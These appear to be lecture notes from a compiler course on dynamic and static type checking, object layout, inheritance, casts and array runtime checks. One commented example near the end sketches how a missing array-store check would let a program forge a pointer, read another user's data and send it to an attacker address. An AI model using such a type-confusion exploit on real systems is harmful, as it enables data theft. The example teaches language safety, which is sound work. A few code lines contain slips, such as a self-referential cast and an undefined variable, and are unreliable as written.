
OUTLINE

What's a value?

An efficient, tagless interpreter for 164.  Fails to detect type errors.  Errors 
are propagated, vulnerabilities exist.

Dynamic types

Add tags to ints, strings, tables. 
Boxing of ints.

Type grammar:   T ::= int | string | table

(Dynamic) type checking rules.

Static types

Declare types of variables. Check at compile time that types are used 
correctly.

What's the relationship of types of variables vs types of values (that are 
stored in the variable)?  Static vs. dynamic type. 

The type invariant.  Enforced by the type checker. 

Language of ints and strings:   

S ::= def ID : T  |  ID = E
E ::= n | s | E+E | append(E,E)
T ::= int | string

Static type checking:

Name analysis: bind types to variables 1)
Type checking: compute type of an expression, ensure that assignments 
have same type on LHS and RHS

2)

if type(E1) == int and type(E2) == int: return int
else throw typeError

def type(E1+E2):

...

Perform only operations sanctioned by the type•
Type safe program.  Well typed programs don't go wrong:

Now, a language of ints and strings and tables:   

Untyped 
(assembler, C)

Dynamic types 
(add tags to values)
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S ::= def ID : T  |  ID = E
E ::= n | s | table | E+E | E[E]=E | E[E] | append(E,E)
T ::= int | string | table

Can every correct program be type checked?  Let's write down the checking 
rules

// assume keys must be strings, for the sake of simplicity

if type(E1) == table and type(E2) string: return ???
else throw typeError

def type(E1[E2]):

Our type signature is not rich enough:

Two choices:

Make all tables homogeneous•

T ::= int | string | table T

Introduce classes (and remove tables or make them homogenous) •

Introduce classes (a nominal type system)

Nominal = type are compatible only if named the same.

----------

Static types. Restrict what programs the programmer can write.  Get better 
performance in return.

Recall dynamic type.  It's the type of values that the program operates on. In 
our dynamically typed language, the value is in some way tagged with the 
type (the value can be examined at time and the value determined). 

In case of primitive types, like int and string, the dynamic type is used to 
determine which operation to perform when say x + y is to be evaluated and 
whether the combination of the types of operands is legal. 

In the setting of objects, the type will be the class of which the object is an 
instance.  The class is a description of which fields and methods the object 
will contain.  

Assume that we don't have inheritance.  We'll add it soon.

How to translate objects?  At runtime, each object has its class info attached, 
as in Python.  What changes do we need to make? 

make prototypes into explicit classes1.

Before (in Lua, 164)
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Object.new = lambda(self,o) {      
      setmetatable(o, self)
      self.__index = self
      o
}
def Node   = Object :new({x=0,y=0})

Before (in Lua, 164)

Now (this is one way how we could extend the language)

def x = 0
def y = 0

class Node { 

}

Compiler parses class Node and remembers that it has two 
fields, x and y, at offsets 0 and 4.

Creating a new object2.

before 

def obj = Node:new({})

now we have a dedicated operator new, which create a new object of 
the given type.  Internally, new will create a struct with x and y. 

def obj = new Node

The compiler generates code that creates a struct with two 
fields, zx and y.  Variable obj points to this struct.

accessing a field (we only allow obj.x, not obj[y], so one cannot compute 
the name of the field to be accessed)

3.

Before

obj.x   // translated to obj["x"]

Now 

obj.x

Oops, how do we translate obj.x?  The variable obj could point to object 
of type Node or also to object of type Foo, defined with class Foo { def 
x }.  

The program must work correctly whether dynamic type of obj is Node 
or Foo.  

When we say that dynamic type of obj is T, we mean that the type of the 
value of the variable is T.
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obj.x

Translates to 

T = dynamicType(obj)   
offset = OffsetTable[T][idx]
*(x+offset)

store T in the header of the struct created in new T

Build the OffsetTable as you compile class definitions

Ask yourself: What's the runtime cost of obj.x?  At least three loads.  
That's likely not cheaper than a hashtable access. 

Can we do better?  We could if some of the work done at runtime was 
done by the compiler at compile time. Let's try to reason, are some of 
these expressions evaluable before the program is executed? (This is the 
translation of obj.x)

T = dynamicType(obj)   
offset = OffsetTable[T][idx]
*(x+offset)

No, their evaluation must be delayed to runtime because obj could be of 
several dynamic types.

Alternative 4 (Static Types): The idea: make sure that the type of obj is always 
known at compile time.  We can then "optimize" 

T = dynamicType(obj)   
offset = OffsetTable[T][idx]
*(x+offset)

to 

T = dynamicType(obj)   
offset = OffsetTable[T][idx]
*(x+n)

where n is the offset known to the compiler at compile time.  (Once the 
compiler knows the type T, it knows where x is located in the object.)

But how can we always know the type of the object stored in a variable? 

The idea is to restrict what values the variable is allowed to store.  

If we somehow make sure that it always stores only objects of (dynamic) type 
T, then we can translate obj.x efficiently

We'll enforce this restriction by giving the variable a static type and then 
ensuring that we never write objects of other types into this variable. 
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Note that we will ensure that the variable contains values consistent with its 
type only when writing into its variable (of course).  

When we read the values from the variable, we will be able to rely on the type 
invariant that they are of the dynamic type that is the same as the static type of 
the variable.

What do we need to add to the language:

Declare the static type of the variable1.

def x:Node

Check that assignments into the variable preserve the type invariant2.

x = E

the expression E must have the same static type as the variable x.

How does the compiler know the static type of x?  Recall the lecture 
where the uses of variable x in the AST were linked to definitions of the 
variable. 

How does the compiler know the type of E?  By propagating types 
(typically bottom up) from leaves of the AST.  For example, the type of 
a+b, where both a and b are int, is int. How about the type of 

obj.f.g  ?

To translate the access E.g, we need to know the type of obj.f.  But we 
did not define the type of the field f!  Currently, our type definitions are 

def x = 0
def y = 0

class Node { 

}

We need to give static types also to fields in an object.  This is another 
extension to the language.

def x:int = 0
def y:Node = 0

class Node { 

}

The point is that any memory location (whether it be a variable or a field 
in an object) will be given a static type so that we know, at compile time,  
what dynamic type have the values stored in them at runtime.

Type checking of obj.f.g (at compile time)

Look up the type, T1, of variable obj1)
Look up the type, T2 , of the field f in T1 .  T2 is the type of 2)
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Look up the type, T2 , of the field f in T1 .  T2 is the type of 
expression obj.f

2)

Look up the type, T3 , of the field g in T2 .  T3 is the type of 
expression obj.f.g

3)

Type checking statements other than assignment3.

Argument passing are analogous to assignments, from the actual 
arguments (expressions) and the formal arguments (variables). We 
extend the definitions of functions to type argumetns

def foo(x:int, int:Node) { … }

Return statement: we could check that the (static) type of return 
value is acceptable wherever the function call is used

def foo () { 1+2 }  
def bar (x:Node) { bar(foo()) }  <-- type error

we however want to type check body of bar without having to look 
inside the body of foo (to make type checking faster).  Therefore, 
we insist that the functions definitions 

def foo ():int { ... }  
def bar (x:Node) { bar(foo()) }

we can now type check the uses of foo() without looking insied the 
body of foo.

Adding inheritance.

Quite a few things change when we allow subclassing.  Which programs will we 
consider legal and which we reject during static typing so that we can generate 
fast compiled code?  

We presumably want to allow this program 

class Node { def x:int } 
class SubNode extends Node { def y:Node } 
def o:Node = new SubNode
o.x

but adding this expression should be rejected by the static type checker

o.y

Why do we want to reject this expression?  Because the compiler cannot 
confirm, by just looking at the static type of the variable o, whether the 
dynamic type of o will contain a field f.

To allow assignment o:Node = new SubNode, we need to redefine what 
compatible types mean.  Assignment var = E is well-typed if staticType(E) is 
compatible with staticType(var).  Type T2 is compatible with T1 if T2=T1 or T2 is 
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compatible with staticType(var).  Type T2 is compatible with T1 if T2=T1 or T2 is 
a (immediate or transitive) subclass of T1.

This definition will reject this assignment

def a:SubClass = new Node

a.y   <-- the problem: the dynamic type of a may not have field y

Find an expression that would go terribly wrong at runtime if this assignment 
had not been rejected by the static type checker?  Answer:

Memory Layout: the next question is how to layout fields in the classes Node 
and SubNode so that an expression obj.x can be efficiently compiled even 
when obj can store at runtime objects of dynamic type Node and SubNode.  
This is left as an exercise to the reader.  The solution must allow translation of 
obj.f into a signle machine memory load instruction.

Runtime checks:  Sometime is it useful to sidestep the restrictions of the type 
system.  For example, what if the programmer knows that obj:Node actually is 
an object of dynamic type SubNode?  To access the field y specific to SubNode, 
we could write this fragment

def a:Node = new SubNode
def b:SubNode = a  <-- type error
b.y

The second assignment is a type error because it would violate the crucial type 
compatibility invariant.

We need to add a cast

def b:SubNode = (SubNode) b

The static type of the expression (SubNode) E is SubNode.  This is ensured at 
runtime: The cast is compiled into a runtime check

-->  
(T) E  

if (dynamicType(E) not compatible with T) raise TypeError
E

Runtime checks for arrays.

In addition to static checks, arrays require subtle runtime checks. This 
subsection explains the key ideas. See also Joel's sections notes. 

Let's start from a few examples from an AP study site. You need to understand 
whether these examples success or fail. If they fail, do they fail a static check or 
dynamic check?  You also need to understand the language design decisions 
behind allowing/disallowing certain programs.

double[] A = new double[2];
A[0] = 1.0;
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A[0] = 1.0;
A[1] = 2.0;
Object B = A;

double[] A = new double[2];
A[0] = 1.0;
A[1] = 2.0;
Object B = A;
String[] C = (String[])B;

In the above example, we allow B=A because otherwise one could not easily 
build containers such as lists that store arrays: if Type[] could not be 
assigned to Object, one would need a List of Object's and a separate List of 
Object[]'s.  Checks: The static type check for B=A succeeds because double[] 
is compatible with Object. There is no runtime type check associated with 
B=A.

This example illustrates what programs do with arrays stored in Object-
typed variables: the program needs to cast the value with static type Object 
to a static type of Type[]. This cast performs a dynamic type check.  If the 
test succeeds (does not throw an exception), the cast expression is 
guaranteed to produce a value that is compatible with the cast-to static 
type, in our case String[].  In the above example, the program fails this 
dynamic type check.

   Superclass[] A = new Superclass[2];
   A[0] = new Superclass(1);
   A[1] = new Superclass(2);
   Subclass[] B = (Subclass[])A;

Does the cast's dynamic check succeed or fail? To answer the question, ask 
yourself whether a successful cast would maintain the invariant that we 
need for type safety, which is that an expression of a static type T is 
guaranteed never to evaluate to a value with dynamic type incompatible with 
T.  In this example, the expression that we want to consider is B[i].  Its static 
type is Subclass.  What would be its dynamic type if the cast was allowed to 
succeed? 

   Subclass[] A = new Subclass[2];
   A[0] = new Subclass(1);
   A[1] = new Subclass(2);
   Superclass[] B = A;
   Subclass[] C = (Subclass[])B;
This example is an exercise for the reader.  What static type checks are 
performed?  What dynamic checks?  Do they succeed? 

   int[] A = new int[2];
   A[0] = 1;
   A[1] = 2;    
   double[] B = (double[])A;

Another exercise:

class Bar { int b; } 
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class Bar { int b; } 
class Foo extends Bar { int f; }
Foo[] A=new Foo[2]; A[0]=new Foo(); A[1]=new Foo();
Object X = A; 
Bar B = A;    
Foo[] C = (Foo[]) B;    
Foo[] Y = (Foo[]) X;

Runtime check for E[E]=E. This example illustrates the need for a runtime 
check whenever we update an array element.  If this check was omitted, an 
applet could read data that is not supposed to access.  It could also install its 
own assembly code and run it. This example illustrates the former attack 
scenario.

class A { }
class B extends A { int i; }
class C extends A { D d; }
class D { int data; } 

A[] a = new C[2];  // OK
a = c;             // OK
B bobj = new B();  // OK
bobj.i = 1000;     // OK 
a[1] = new B();    // runtime check failure  
                   // (ArrayStoreException)

// if this runtime check was ignored, 
// the following exploit is allowed
// 
// Note: C[1].d is the same memory location as bobj.i !

D dobj = c[1].d; 

// dobj now points to an memory address 1000

// Of course, we can make dobj.d point anywhere 
// So we have manufactured an pointer to a memory 
// location of our choosing.

// now we perform the exploit 

int secret = dobj.data 
send(secret,attackerIPaddress)

// reads the content of memory location 1008
// assuming the object header is 8 bytes

// The location at the address 1008 may store 
// data of some other thread, which might 
// be serving a banking session of another user.
// The location 1008 may store the credit card 
// number, for example.

See the section notes for more information.
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class A { int a; } 
class B extends A { int b; }
A[] a = new A[2];        
B[] b = new B[2];
a[1]  = new A(); 
a = b; 
a[1]  = new A();

Exercise.  For each check, write a stmt that could go wrong if check was 
ignored:

class A { int a; } 
class B extends A { int b; }
A[] a = new A[2]; 
B[] b = new B[2];

a[1] = b[1];    b[1] = a[1];     
b = (B[]) a;    a = (B[]) a;
b = a;          a = b;

Final note.  Static type system rejects correct programs

Static type checking rejects correct programs, ie programs that would run 
without a (runtime) type error if we performed only runtime type checks.  The 
static type system is more restrictive because it insists that a variable contains 
a value of dynamic type compatible with the static type of the variable.  But if 
the variable's value is never used, who cares what value the variable stores?  
The dynamic type system checks the type only when the operation is actually 
performed. 

Exercise: find a program rejected by the type system but correct under 
dynamic type checking.
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